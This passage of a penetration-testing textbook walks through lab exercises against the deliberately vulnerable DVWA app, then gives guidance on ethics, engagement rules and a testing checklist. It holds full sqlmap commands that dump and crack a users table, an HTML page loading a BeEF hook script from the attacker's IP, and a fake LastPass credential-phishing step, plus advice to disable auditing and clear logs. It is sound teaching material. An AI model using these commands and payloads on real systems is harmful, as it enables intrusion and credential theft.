Figure 17.58: Retrieving the first record from the database

9. As shown in the preceding screenshot, the web application retrieved the first record from the 
database, thus revealing the admin user account.

10. Repeat step 7 but do not forward the HTTP GET message in Burp Suite Intercept, as shown 
below:

Figure 17.59: Intercepting the HTTP GET message
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11. As shown in the preceding screenshot, the Burp Suite Intercept proxy was able to capture the 
cookie details from the HTTP GET request. Ensure that you copy the entire line (except the 
security_level value) containing the cookie data as it will be needed when you perform the 
automation process with sqlmap. Based on the capture information, the following is the code 
that I’ll be copying:

security=low; PHPSESSID=3fd76ae0d996ea6f1662c73213b9b874

12. Next, copy the URL from the address bar of your web browser, as it will be needed for sqlmap: 
http://172.30.1.20/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#

13. Next, open the Terminal within Kali Linux and use the following syntax to check for potential 
SQL injection vulnerabilities on the web application:

sudo sqlmap --url <URL> --cookie= <'cookie token'> -dbs

14. The following is the actual command that’s used for automating the process:

kali@kali:~$ sudo sqlmap --url http://172.30.1.20/dvwa/
vulnerabilities/sqli/?id=\&Submit=Submit# --cookie='security=low; 
PHPSESSID=3fd76ae0d996ea6f1662c73213b9b874' -dbs

15. As shown in the preceding code, ensure that you place a backslash (\) before the ampersand (&) 
to inform the application to treat the ampersand (&) as a regular character when parsing data.

16. During the automation process, sqlmap will begin to ask you a series of questions that deter-
mine how the tool will identify SQL injection vulnerabilities. Simply hit Enter to select the 
default operations, as shown here:

Figure 17.60: Identifying SQL injection vulnerabilities

17. As shown in the preceding screenshot, various SQL injection-based security vulnerabilities 
were found on the web application.

http://172.30.1.20/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#
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18. The following screenshot shows that seven databases were also found within the web appli-
cation:

Figure 17.61: Identifying databases

Part 2 – Retrieving sensitive information
In this part, you will learn how to retrieve sensitive information stored within the database through 
the vulnerable web application. Let’s get started:

1. By appending the --tables -D <database-name> command to the end of your sqlmap com-
mand, you will be able to extract all the tables from the selected database:

kali@kali:~$ sudo sqlmap --url http://172.30.1.20/dvwa/
vulnerabilities/sqli/?id=\&Submit=Submit# --cookie='security=low; 
PHPSESSID=3fd76ae0d996ea6f1662c73213b9b874' --tables -D DVWA

2. The following screenshot shows the results – two tables were found within the DVWA database:

Figure 17.62: Retrieving tables
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3. Next, by appending the --columns –D <database-name> command to the end of your sqlmap 
command, you will be able to retrieve all the columns of the selected database:

kali@kali:~$ sudo sqlmap --url http://172.30.1.20/dvwa/
vulnerabilities/sqli/?id=\&Submit=Submit# --cookie='security=low; 
PHPSESSID=3fd76ae0d996ea6f1662c73213b9b874' --columns -D DVWA

4. As shown in the following screenshot, various columns with interesting names were retrieved:

Figure 17.63: Retrieving columns

5. As shown in the preceding screenshot, six columns were found within the users table of the 
DVWA database. The following screenshot shows that three columns were found within the 
guestbook table of the same database:

Figure 17.64: Columns of a table



Advanced Website Penetration Testing732

6. Next, to retrieve the columns of a specific table of a database, append the --columns –D 
<database-name> -T <table-name> command to the end of the sqlmap command:

kali@kali:~$ sudo sqlmap --url http://172.30.1.20/dvwa/
vulnerabilities/sqli/?id=\&Submit=Submit# --cookie='security=low; 
PHPSESSID=3fd76ae0d996ea6f1662c73213b9b874' --columns -D DVWA -T users

7. As shown in the following screenshot, sqlmap was able to retrieve columns from the users 
tables only from the DVWA database:

Figure 17.65: Columns of users table

8. Next, to retrieve all the data from a specific table of a database, append the --dump –D 
<database-name> -T <table-name> command to the end of the sqlmap command:

kali@kali:~$ sudo sqlmap --url http://172.30.1.20/dvwa/
vulnerabilities/sqli/?id=\&Submit=Submit# --cookie='security=low; 
PHPSESSID=3fd76ae0d996ea6f1662c73213b9b874' --dump -D dvwa -T users

9. If any hash versions of the passwords are found within the table, sqlmap will ask the following 
questions:

• Do you want to store the hashes in a temporary file for eventual further processing 
with other tools [Y/N]?

• Do you want to crack them via a dictionary-based attack? [Y/N/Q]

10. Ensure you select the default options for all the questions. The default options are indicated 
by an uppercase letter, where Y = yes and N = no.
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11. The following screenshot shows sqlmap performing password-cracking techniques on the 
hashes that were found within the table of the database. It was able to retrieve the plaintext 
passwords:

Figure 17.66: Retrieving password hashes

12. The following screenshot shows the summary of the user ID, username, and passwords that 
were retrieved from the vulnerable web application and its database:

Figure 17.67: User accounts

13. Using the information that’s been extracted from the vulnerable database and web application 
allows threat actors and penetration testers to further exploit the security weaknesses that 
have been found and even manipulate the database.

Having completed this section, you have learned how to use sqlmap to automate the process of ex-
tracting data from a vulnerable web application with a database. In the next section, you will learn 
how to exploit XSS vulnerabilities using a client-side attack with the Browser Exploitation Framework.

Performing client-side attacks
The Browser Exploitation Framework (BeEF) is a security auditing tool that’s used by penetration 
testers to assess the security posture and discover vulnerabilities in systems and networks. It allows 
you to hook up a client’s web browser and exploit it by injecting client-side attacks. Hooking is the 
process of getting a victim to click on a web page that contains custom/malicious JavaScript code. 
This JavaScript code is then processed by the victim’s web browser and binds their web browser to 
the BeEF server running on your Kali Linux machine, allowing the penetration tester to control the 
victim’s system and perform various client-side attacks.

In this section, you will learn how to use BeEF to perform a social engineering client-side attack, hook 
a victim’s web browser, and control their system without their knowledge. For this exercise, you will 
need to use Kali Linux and one of the Windows 10 Enterprise virtual machines within your virtual 
lab environment.
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To get started with this exercise, please use the following instructions:

1. Ensure Network Adapter 3 is enabled on the Kali Linux virtual machine, as shown below:

Figure 17.68: Network Adapter on Kali Linux

2. Power on Kali Linux and one of the Windows 10 virtual machines, such as Bob-PC.
3. On Kali Linux, open the Terminal and use the following commands to install BeEF:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install beef-xss

4. On Kali Linux, to open BeEF, click on the Kali Linux icon in the top-left corner and go to 08 - 
Exploitation Tools | beef start framework:
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Figure 17.69: Starting BeEF

5. BeEF will initialize and prompt you to enter a new password to access the BeEF server, then 
provide you with details on how to access the user portal of the BeEF server:

Figure 17.70: Setting BeEF credentials
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6. Web UI and hook URLs are important. The JavaScript hook is usually embedded in a web page 
that is sent to the victim. Once accessed, the JavaScript will execute on the victim’s browser 
and create a hook to the BeEF server that’s running on your attacker machine. Ensure the IP 
address that’s used in the hook script is the IP address of the BeEF server. In our lab, the IP 
address belongs to our Kali Linux machine, which is running the BeEF server.

7. The web browser will automatically open. You can also manually open your web browser and 
go to http://127.0.0.1:3000/ui/panel to access the BeEF login portal for the server:

Figure 17.71: BeEF login page

8. Here, the username is beef. We set the password in step 3 when we initially started BeEF.
9. Next, open a new Terminal and start the Apache2 web service on Kali Linux:

kali@kali:~$ sudo service apache2 start

10. Create a copy of the original /var/www/html/index.html file and name it index2.html by 
using the following commands:

kali@kali:~$ sudo cp /var/www/html/index.html /var/www/html/index2.html
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11. Next, use Mousepad to edit the index.html file:

kali@kali:~$ sudo mousepad /var/www/html/index.html

12. Use the following HyperText Markup Language (HTML) code to create a basic web page. En-
sure that you change the IP address within the hook script so that it matches the IP address 
of your Kali Linux machine:

<html>
<head>
<title>Web Page</title>
<script src="http://<kali-linux-IP-here>:3000/hook.js"></script>
</head>
<body>
<h1>This is a vulnerable web page</h1>
<p>We are using browser exploitation.</p>
</body>
</html>

13. The following screenshot shows the code written in Mousepad:

Figure 17.72: Creating a hook

14. As shown in the preceding screenshot, line #4 contains the BeEF script, which will be executed 
on the victim’s web browser.



Advanced Website Penetration Testing738

15. Next, on your Windows 10 virtual machine (Bob-PC), open the web browser and insert the IP 
address of the Kali Linux machine:

Figure 17.73: Triggering the hook

16. Next, go back to your Kali Linux machine and take a look at your BeEF server user portal. You 
should now have a hooked browser, as shown below:

Figure 17.74: BeEF interface
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17. To execute commands and actions on your victim’s web browser, click on the Commands tab. 
Here, you’ll be able to execute actions on the victim’s web browser, as shown below:

Figure 17.75: BeEF modules

18. To perform a social engineering attack on the victim, click on the Commands tab and go to 
Social Engineering | Fake LastPass | Execute:

Figure 17.76: Launching a client-side attack
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19. Now, go to the Windows machine. You’ll see a fake LastPass login window bar appear in the 
web browser:

Figure 17.77: Viewing the client-side attack

20. Once the victim enters their user credentials, they are sent to the BeEF server, which allows 
the penetration tester to capture the user’s username and password.

21. Once you’ve finished with the exercise, power off your virtual machines.
22. Lastly, open VirtualBox Manager, select the Kali Linux virtual machine, select Settings, go to 

Network, and disable Adapter 3. This would disable the network adapter on Kali Linux that’s 
connected to the RedTeamLab network within our lab topology.

BeEF is a sophisticated tool designed for penetration testers, enabling them to conduct client-side 
attacks. These attacks exploit vulnerabilities in a victim’s web browser interface, facilitating activities 
such as port and network scanning and social engineering attacks to collect confidential information. 
Be sure to play around with BeEF some more within your lab network to discover all of its capabilities 
and use cases.

To learn more about BeEF and its capabilities, please see the official website at https://
beefproject.com/.

https://beefproject.com/
https://beefproject.com/
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Summary
In this chapter, you learned about additional web application security risks and have gained hands-
on experience of discovering and exploiting those security vulnerabilities. Furthermore, you have 
learned how to use tools such as Burp Suite, sqlmap, and BeEF to exploit security flaws in vulnerable 
web applications.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you in your journey, allowing you to navigate the 
industry with confidence and make a significant impact.

In the next chapter, Best Practices for the Real World, you will learn about various guidelines that should 
be followed by all penetration testers, the importance of creating a checklist for penetration testing, 
some cool hacker gadgets, and how to set up remote access to securely access your penetration tester’s 
machine over the internet.

Further reading
• OWASP Top 10: https://owasp.org/www-project-top-ten/
• OWASP Top 10 as a standard: https://owasp.org/Top10/A00_2021_How_to_use_the_OWASP_

Top_10_as_a_standard/

• AppSec Program with the OWASP Top 10: https://owasp.org/Top10/A00_2021-How_to_start_
an_AppSec_program_with_the_OWASP_Top_10/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://owasp.org/www-project-top-ten/
https://owasp.org/Top10/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/
https://owasp.org/Top10/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/
https://owasp.org/Top10/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/ 
https://owasp.org/Top10/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/ 
https://packt.link/SecNet
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Best Practices for the Real World

Your journey as an aspiring ethical hacker and penetration tester is only just beginning. You have 
gained some amazing hands-on skills throughout the previous chapters of this book and have learned 
various techniques while developing the mindset of a penetration tester. Furthermore, you have 
learned how to use the most popular penetration testing Linux distribution, Kali Linux, to simulate 
various real-world cyber-attacks to discover and exploit various security vulnerabilities on systems 
and networks.

While you have learned a lot, there are a few guidelines and tips I would like to share with you before 
concluding this book. During the course of this chapter, you will learn about various guidelines that 
should be followed by all penetration testers, the importance of creating a checklist for penetration 
testing, some cool hacker gadgets, how to set up remote access to securely access your penetration 
tester’s machine over the internet, and some next steps to move ahead.

In this chapter, we will cover the following topics:

• Guidelines for penetration testers
• Penetration testing checklists
• Creating a hacker’s tool bag
• Setting up remote access
• Next steps ahead

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following  
software requirements:

• Kali Linux: https://www.kali.org/get-kali/

https://www.kali.org/get-kali/ 
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Guidelines for penetration testers
Having the skill set of an ethical hacker and penetration tester, you need to be aware of the boundaries 
between ethical and criminal activities. Remember, performing any intrusive actions using a comput-
ing system to cause harm to another person, system, or organization is illegal. Therefore, penetration 
testers must follow a code of conduct to ensure they remain on the ethical side of the law at all times.

Gaining written permission
Before performing a penetration test on a targeted organization, ensure that you have obtained legal 
written permission from the organization. If additional permission is required from other authorities, 
please ensure that you acquire all the legal permission documents. Having legal written permission 
is like having a get-out-of-jail-free card as a penetration tester, but this comes with a responsibility.

The activities performed by a penetration tester involve simulating real-world cyber-attacks on a 
targeted organization; this means actually hacking into their systems and networks by using similar 
tools, techniques, and procedures as real cybercriminals. Some attacks can be very intrusive and may 
cause damage or network outages; written permission is used to protect yourself legally.

Being ethical
Always be ethical in all your actions as a professional in the industry. During your time practicing your 
penetration testing skills, I’m sure you have realized that there is a fine line between being a malicious 
hacker and a penetration tester. The main difference is that penetration testers have a good moral 
compass and obtain legal permission prior to simulating any cyber-attacks with the intent to help an 
organization improve its security posture and decrease the attack surface before a real cyber-attack 
occurs. Being ethical simply means doing the right thing and upholding moral principles.

As technology and legal landscapes evolve, ethical hackers must continually update their knowledge 
and skills to navigate the complexities of cybersecurity with integrity and lawful conduct.

Penetration testing contract
As an aspiring cybersecurity professional in the industry, ensure that you have a properly written 
penetration testing contract, inclusive of confidentiality and a Non-Disclosure Agreement (NDA), 
reviewed and verified by the legal team of your organization/employer. This ensures the client’s (tar-
geted organization’s) information is protected and that you (the penetration tester) will not disclose 
any information about the client unless required by law. Additionally, the NDA builds trust between 
the client and you, the penetration tester, as many organizations do not want their vulnerabilities 
known to others.

If, during a business meeting with a new client, they ask about previous penetration tests you have 
conducted and customer information, do not disclose any details. This would contravene NDAs, which 
protect your customers and yourself. However, you can simply outline to the new potential client what 
you can do for their organization, the types of security testing that can be conducted, and some of the 
tools and methodologies that may be used during the testing phases.
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Rules of engagement
During your business meeting with the client (targeted organization), ensure that both you and the 
client understand the Rules of Engagement (RoE) prior to the actual penetration test. The RoE are 
presented in the form of a document created by the service provider (penetration tester) that outlines 
what types of penetration tests are to be conducted, as well as other specifics. These include the area 
of the network to be tested, such as the IP addresses and subnets, such as servers, networking de-
vices, security appliances, and workstations. To put it simply, the RoE document defines the manner 
in which the penetration test should be conducted and indicates any boundaries in relation to the 
targeted organization.

Ensure you have obtained contact information for key personnel within the targeted organization 
so that, in the event there is an emergency or something goes wrong, you can reach out to the client. 
For instance, if, during a penetration test, the targeted server crashes, contacting the key personnel 
of the organization would be helpful in rebooting or restoring the server back to an operational state. 
Furthermore, if there is an unexpected crisis, you may need to contact someone for assistance, such 
as if you are conducting your tests remotely after working hours.

During a penetration test, if you discover any violations of human rights or illegal activities on tar-
geted organization systems or networks, stop immediately and report it to the local law enforcement 
authorities. Should you discover a security breach in the network infrastructure, stop and report it 
to a person of authority within the organization and/or the local authorities. As a penetration tester, 
you need to have good morals and abide by the law; human rights and safety always come first, and 
all illegal activities are to be reported to the necessary authorities.

Furthermore, a Statement of Work (SOW) is provided to the client as a formal agreement before starting 
any security testing. A typical SOW agreement contains the following information:

• The customer’s expectations for the penetration test
• The scope of work, such as which IP addresses, subnets, and systems are to be tested
• The duration/schedule of the penetration test
• The cost for the penetration test
• A list of deliverables to meet the customer’s expectations
• Any legal statements between the customer and the service provider
• Signatures of the service provider and customer

The following are common guidelines for data security and confidentiality in penetration testing to 
establish and maintain trust and integrity during the testing process while safeguarding the client’s 
interests:

• Data handling procedures: Ensure you create and maintain clear procedures for handling 
any sensitive data that will be obtained during penetration testing. Ensure only authorized 
personnel have access to this sensitive data, use only secure communication channels when 
transmitting the data, and use encryption technology to securely store data on storage devices.

• Data storage and retention: Specify how long the collected data will be stored after the pen-
etration testing process. Ensure you use data encryption technologies to secure the storage 
of sensitive data.
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• Client communication: Providing regular updates to the client on the status of the penetration 
testing process goes a long way. In addition, updates should be provided to only authorized 
persons and not to just anyone from the organization.

• Compliance and regulations: Ensure all the data handling processes and procedures are com-
pliant with industry standards and regulatory requirements, such as Payment Card Industry 
Data Security Standard (PCI DSS), General Data Protection Regulation (GDPR), and Health 
Insurance Portability and Accountability Act (HIPAA), depending on the client’s industry.

• Documentation and reporting: It’s essential to document everything, such as the data handling, 
data collection, storage, and destruction processes and procedures.

Having completed this section, you have learned about various key guidelines for penetration testers. 
In the next section, you will learn about some of the key elements when creating a penetration testing 
checklist.

Penetration testing checklist
When performing a penetration test on a system or network, a set of approved or recommended 
guidelines is used to ensure the desired outcome is achieved. For instance, you can leverage the fol-
lowing structure in your existing framework or process as it helps with ensuring the critical aspects 
of penetration testing are addressed:

• Comprehensive coverage – Using a checklist helps ensure that all the necessary components 
of the penetration test are thoroughly covered, such as from the reconnaissance phase all 
the way to reporting. This will help you create a roadmap, ensuring all important steps are 
followed and not overlooked.

• Standardizes procedures – Standardizing a set of procedures with industry best practices 
helps you to develop and maintain consistency across various types of penetration testing 
with each organization. In addition, it helps ensure that all penetration testing is performed 
in uniformity with a systematic methodology.

• Facilitates documentation – Using a checklist helps ensure the penetration tester documents 
their observations, findings, and activities during the entire process.

• Improves efficiency – Checklists can help with staying organized and focusing on the tasks 
ahead. They help the penetration tester to better utilize the allotted time during each phase 
of penetration testing.

Following such a checklist ensures that the penetration tester completes all tasks for a phase before 
moving on to the next. In this book, you started with the information-gathering phase and gradually 
moved on from there. The early chapters covered the early phases of penetration testing and taught 
you how to obtain sensitive details about a target using various techniques and resources, while the 
later chapters covered using the information found to gain access to a target using various methods 
and tools, and establishing persistence and dominance of the compromised network.

A penetrating testing methodology usually consists of the following phases:

1. Pre-engagement 
2. Reconnaissance
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3. Enumeration
4. Vulnerability assessment
5. Exploitation
6. Post-exploitation
7. Reporting

Let’s discuss each of these stages in detail.

Pre-engagement
During the pre-engagement phase, the scope and objectives are discussed and mutually agreed upon 
by both the client and the service provider (employer of the penetration tester). During this phase, it’s 
essential to obtain written legal permission and authorization from the authorities before starting/
performing any security assessments.

Reconnaissance
Reconnaissance focuses on collecting as much data as possible on a target and then analyzing the col-
lected data to create meaningful information that can be leveraged by an adversary or threat actor to 
identify the attack surface and security vulnerabilities on a targeted system, network, or organization. 
Adversaries use various reconnaissance techniques and tools to collect system information, network-
ing information, and organizational information about their targets. Without first understanding your 
target and its weaknesses, it’ll be challenging to develop cyber-attack methods, including exploits 
that will be effective in compromising the confidentiality, integrity, and/or availability of the targeted 
system, network, or organization.

The following are the tasks to be performed prior to and during the reconnaissance phase:

• Gather information that is relevant to the target, such as:

• Identify domain names and sub-domains.
• Identify IP addresses and network blocks.
• Gather email addresses.
• Identify employee names and their job titles.
• Identify social media profiles owned and managed by the target.
• Identify social media profiles owned by employees of the targeted organization.
• Identify the physical locations of the organization.

• Perform passive reconnaissance using Open Source Intelligence (OSINT) techniques:

• Leverage the internet and specialized search engines.
• Collect data from social media platforms such as Facebook, X, Instagram, and LinkedIn.
• Identify interesting information from the target’s website.
• Identify data leakage on online forums and discussion groups such as Stack Overflow.
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• Perform active reconnaissance:

• Use network and port scanners to identify live hosts and profile targeted systems.
• Leverage network mapping tools such as Netcraft and Maltego to profile the public-fac-

ing infrastructure of the target.
• Use email harvesting tools such as Spiderfoot, Recon-ng, and theHarvester to collect 

employees’ email addresses for social engineering simulations.

In the next section, we will take a look at a checklist for enumeration.

Enumeration
By performing enumeration on network services running a targeted system, we’ll be able to identify 
user accounts, network shares, and password policies, and profile the target’s operating system. Using 
the information collected during enumeration helps us to better understand which security vulner-
abilities exist and how to improve our plan of attack on the target.

The following is a list of guidelines for performing network enumeration:

• Review the data collected during the reconnaissance phase.
• Identify targeted systems and services for enumeration.
• Perform enumeration on network services such as SMB, LDAP, SNMP, SMTP, and DNS.
• Enumerate DNS records from the target’s DNS server to identify sub-domains and uninten-

tionally exposed assets on the internet.
• Perform website and web application scanning using tools such as Burp Suite and Nikto to 

identify security vulnerabilities.

In the next section, we will take a look at a vulnerability assessment checklist.

Vulnerability assessment 
During the vulnerability analysis phase, the ethical hacker or penetration tester performs both manual 
and automated testing on targeted systems to identify hidden and unknown security flaws. Identifying 
security vulnerabilities within systems helps organizations to better understand the attack surface, 
which is the vulnerable points of entry within their systems and network infrastructure.

The following is a list of guidelines for vulnerability assessment:

• Create an inventory of assets that are within the scope of the penetration test.
• Identify an appropriate vulnerability assessment tool based on the targeted systems and envi-

ronment. Consider automated scanners, manual testing tools, and web application scanners.
• Configure and run scans on targeted systems when working with automated scanning tools.
• Ensure you validate the scan results to identify security vulnerabilities, system misconfigura-

tions, and flaws of the targets.
• Prioritize security vulnerabilities based on their severity, exploitability, and potential impact. 

Leverage the Common Vulnerability Scoring System (CVSS) to help determine the appropriate 
severity ratings for each security vulnerability found.
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• Ensure you identify any false positives. These are security vulnerabilities that are incorrectly 
reported by the scanning tool.

In the next section, we will take a look at an exploitation checklist.

Exploitation
Using the information about the vulnerabilities, the penetration tester will do their research and create 
specific exploits that will take advantage of the vulnerabilities of the target – this is exploitation. We 
use exploits (malicious code) to leverage a vulnerability (weakness) in a system, which will allow us 
to execute arbitrary code and commands on the targeted system(s).

The following is a list of guidelines for gaining access to a network/system:

• Ensure you review the findings from the vulnerability assessment.
• Perform thorough research using reliable and trustworthy sources on exploiting the security 

vulnerabilities.
• Verify the exploitability of each identified security vulnerability by performing automated 

and manual testing. Sometimes, testing can be done within a controlled environment, such 
as within a virtualized environment, to ensure the exploit is working as expected.

• Select exploitation tools and frameworks based on the target and type of security vulnerability.
• Develop the payloads based on the target and its security vulnerability.
• Test the exploit within a controlled environment.
• Execute the exploit on the real targeted system(s) to determine whether a vulnerability actually 

exists or not.
• Monitor the behavior of the targeted system during and after launching the exploit and doc-

ument any findings.

In the next section, we will outline the essentials for a post-exploitation checklist.

Post-exploitation
After exploiting a targeted system or network, performing post-exploitation techniques enables pen-
etration testers to gather sensitive information such as users’ login credentials and password hashes, 
impersonate high-privilege user accounts to gain access to other systems, perform lateral movement 
to go deeper and expand the foothold into hidden areas of the network, and use pivoting techniques 
to perform host discovery and exploitation through a compromised host.

The following is a list of guidelines for maintaining access to a network/system:

• Establish persistence with multiple implants on each compromised system.
• Perform privilege escalation to exploit security misconfigurations.
• Expand the foothold on the network while staying in the scope.
• Set up Command and Control (C2) operations.
• Perform data exfiltration.

In the next section, we will outline the fundamentals for a covering-tracks checklist.
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Covering tracks
Covering tracks focuses on removing any traces, exploits, payloads, and even backdoors that are 
installed on targeted systems during the penetration test. This phase is important because it focuses 
on cleaning up any residual traces of evidence that were left behind by the penetration tester with 
the intention of simulating what a real threat actor will do.

The following is a list of guidelines for covering tracks:

• Ensure you understand the legal and ethical boundaries for clearing all tracking activities on 
a system. Obtain written legal permission if you are unsure.

• Take a systematic approach to which systems and types of data are to be cleared, how the log 
data will be cleared, and whether there’s any potential impact of this activity.

• Identify tracks for clearing, such as log files, audit trails, temporary files, and forensic artifacts 
on a system.

• Disable auditing features on the system.
• Clear log files.
• Remove any malware or persistence configurations.
• The systems should be reverted to their state prior to the penetration test.

Next, you will explore the guidelines for report writing.

Report writing
The final phase of a penetration test is reporting and delivering results and helping the organization 
remediate the findings from the penetration test. In this phase, an official document is created by the 
penetration tester outlining the following:

• All vulnerabilities found on targeted systems.
• All risks, categorized on a scale of high, medium, and low, based on the CVSS calculator.
• Constructive feedback to the organization as they try to recover/fix things.
• Recommendations to resolve all security vulnerabilities that were found.

Ensure when you are writing your report that it will be understood by anyone who reads it, including 
non-technical audiences such as senior management and executive staff members. Managerial staff 
are not always technical as they are more focused on ensuring the business goals and objectives are 
met within the organization.

The post-engagement phase of penetration testing is a critical process. This is where the penetration 
tester communicates the official report, containing all the findings and recommendations to the 
organization/client for improving their security posture.
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The following is the typical post-engagement process in penetration testing:

• Data analysis and documentation – This includes the collection and analysis of all findings, 
including the vulnerability assessment, types of security vulnerabilities found, how each 
exploit was compromised, their potential impact, and severity ratings. In addition, provide 
recommendations on how to resolve or mitigate each security issue.

• Report preparation – Develop a comprehensive report that summarizes all the findings during 
the penetration test in an easy-to-understand manner for both technical and non-technical 
personnel. Furthermore, the report should be organized using the report structure mentioned 
below and should have appendices containing supporting evidence, references, and further 
technical information for the client.

• Review and quality assurance – Before providing the report to the client, ensure it’s reviewed 
internally to verify its accuracy, completeness, and the consistency of all findings with rec-
ommendations. Furthermore, quality assurance helps validate whether the report is aligned 
with the client’s requirements, using industry standards and best practices.

• Reporting to the client – The report should be delivered to the client using secure communica-
tion channels to maintain confidentiality. For instance, using secure email services enables you 
to encrypt email messages with attachments. Furthermore, ensure you schedule a debriefing 
session with the client to discuss all the findings and recommendations in further detail and 
to answer any questions or concerns about the penetration testing report.

• Debriefing session – The debriefing session includes the client’s IT team, key stakeholders, and 
management team. During this session, the executive report is used to provide an overview of 
the findings and to emphasize the critical security vulnerabilities that were identified.

• Remediation planning and follow-up – Work with the client to develop a remediation plan to 
resolve all the security vulnerabilities during the penetration test, provide additional support 
and guidance through this process, and follow up often to monitor the progress of the reme-
diation effects to ensure the organization’s security objectives are achieved.

The report should also contain the following:

• Cover sheet
• Executive summary
• Summary of vulnerabilities
• Test details
• Tools used during testing (optional)
• The original scope of work
• The body of the report
• Summary

Further information on penetration testing report writing can be found at https://www.
sans.org/white-papers/33343/.

https://www.sans.org/white-papers/33343/
https://www.sans.org/white-papers/33343/
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Always remember that if you ask 10 different penetration testers how to write a report, they all will give 
different answers based on their experience and their employers. Be sure not to overwhelm the report 
with too many images or too many technical terms that will confuse the reader. It should be simple 
to read for anyone, including the non-technical staff of the organization, and should be actionable.

Having completed this section, you have learned the fundamentals of performing a penetration test 
on a system and network. Next, we will discuss some tools you may need for your hacker’s tool bag.

Creating a hacker’s toolkit
Being in the field of ethical hacking and penetration testing won’t feel complete without creating your 
very own hacker’s toolkit with some very cool gadgets. Having physical tools and gadgets is not always 
mandatory, but they help when simulating various real-world cyber-attacks.

ESP8266 microcontroller
The following is an ESP8266 microcontroller, running custom firmware created by Spacehuhn:

Figure 18.1: ESP8266 microcontroller

This tool assists penetration testers when performing simulated attacks on a targeted wireless network. 
The custom Deauther firmware allows you to perform wireless reconnaissance and de-authentication 
attacks, capture wireless probes and beacons, perform wireless confusion attacks, and even detect 
de-authentication attacks by threat actors.

To learn more about Spacehuhn’s Deauther firmware for the ESP8266, please see https://
github.com/SpacehuhnTech/esp8266_deauther.

https://github.com/SpacehuhnTech/esp8266_deauther
https://github.com/SpacehuhnTech/esp8266_deauther
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WiFi Pineapple Nano
The following is a WiFi Pineapple Nano by Hak5, which allows a penetration tester to perform wireless 
security auditing and testing on both personal and enterprise wireless networks:

Figure 18.2: WiFi Pineapple Nano

This physical tool allows a penetration tester to attach a battery bank to support power to this handheld 
portal device, which can fit in your backpack or pocket. You can perform wireless reconnaissance on 
wireless networks, capture wireless security handshakes, create rogue wireless networks, and more.

More details on the WiFi Pineapple can be found at https://shop.hak5.org/products/
wifi-pineapple.

https://shop.hak5.org/products/wifi-pineapple
https://shop.hak5.org/products/wifi-pineapple
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Bash Bunny
Another great tool for your hacker’s tool bag is the Bash Bunny by Hak5, a fully operating Linux ma-
chine in the form of a physical USB-attached storage device:

Figure 18.3: Bash Bunny

The Bash Bunny looks like a USB flash drive, but when it’s connected to a computer, it’s recognized 
as a network. It creates a logical network between the computer and itself, providing a dynamic IP 
address to the host machine via a preconfigured Dynamic Host Configuration Protocol (DHCP). This 
tiny device can be used to perform reconnaissance, scanning, enumeration, device profiling, data 
exfiltration, and more, all within a few seconds.

Packet Squirrel
To perform interception of a network-based attack, the Packet Squirrel by Hak5 is another tool equipped 
with preconfigured scripts for the rapid deployment of network monitoring and attack mitigation 
tools that runs Linux:

To learn more about the Bash Bunny, please see https://shop.hak5.org/products/
bash-bunny.

https://shop.hak5.org/products/bash-bunny
https://shop.hak5.org/products/bash-bunny
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Figure 18.4: Packet Squirrel

The Packet Squirrel is a very tiny tool that allows penetration testers to perform Man-in-the-Middle 
(MiTM) attacks. Another very cool feature of this tiny device is the ability to establish Virtual Private 
Network (VPN) access between an external device and itself, therefore allowing penetration testers 
remote access to a network.

LAN Turtle
Another network implant that runs Linux is the LAN Turtle by Hak5:

Figure 18.5: LAN Turtle

To learn more about the Packet Squirrel, please see https://shop.hak5.org/products/
packet-squirrel.

https://shop.hak5.org/products/packet-squirrel
https://shop.hak5.org/products/packet-squirrel
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The LAN Turtle is a special device that allows penetration testers to remotely access it via a VPN con-
nection from an external network such as the internet. Additionally, penetration testers are able to 
simulate various types of real-world cyber-attacks through this device.

Mini USB-powered network switch
Having a mini USB-powered network switch can be handy at times; the following is an image of a 
network switch that is only a few inches in size:

Figure 18.6: Mini USB-powered network switch

There may be a time when you need to interconnect a few devices during your penetration testing 
exercise and will need a network switch, so having a mini USB-powered network switch will be most 
useful.

To learn more about the LAN Turtle, please see https://hak5.org/products/lan-
turtle.

To learn more about the mini network switch, please see https://shop.hak5.org/
products/micro-ethernet-switch.

https://hak5.org/products/lan-turtle.
https://hak5.org/products/lan-turtle.
https://shop.hak5.org/products/micro-ethernet-switch
https://shop.hak5.org/products/micro-ethernet-switch
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Retractable network cable
Having some networking cables can be handy but sometimes messy, as the cables can become physical-
ly entangled with each other. However, a retractable network cable such as the following may be useful:

Figure 18.7: Retractable network cable

Flipper Zero
Lastly, there’s the popular Flipper Zero device that’s used for security testing on wireless networks, 
access control systems, Near Field Communication (NFC) technologies, Radio Frequency Identifica-
tion (RFID) systems, and much more:

Figure 18.8: Flipper Zero
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Sometimes, penetration testers will deploy a Raspberry Pi with Kali Linux at their client’s location 
and remotely perform their penetration testing engagements. The component shown in this section 
is not mandatory but simply an example of some items in a typical penetration tester’s backpack.

In the next section, you will learn how to set up end-to-end access between your penetration testing 
machine at a client’s location and your computer.

Setting up remote access
As an aspiring penetration tester, you will be given the opportunity to visit your client’s location to 
perform a penetration test on their network. This means you will need to have a dedicated computer 

– preferably a laptop or a mini computer – at the client’s location for ethical hacking and penetration 
testing. On this system, you can set up remote access such as Secure Shell (SSH) and Remote Desktop 
Protocol (RDP) to enable you and your team to remotely work without being on-site.

The following are some of my personal recommendations for setting up your penetration-testing 
machine:

• A laptop running a Microsoft Windows operating system that supports Remote Desktop. Keep 
in mind that Microsoft Windows is a personal choice, and you are free to use any operating 
system of your personal preference. Ensure there is support for remote access across a network.

• Ensure the laptop supports BitLocker (available on Microsoft Windows); store all confidential 
information within the BitLocker drive. If you’re using an operating system other than Microsoft 
Windows, ensure there is support for data encryption.

• For password cracking using Hashcat, you can collect the password hashes from the targeted 
systems on the client’s network and securely transfer the hashes onto your password-cracking 
machine at your office for offline password cracking. Therefore, your password-cracking ma-
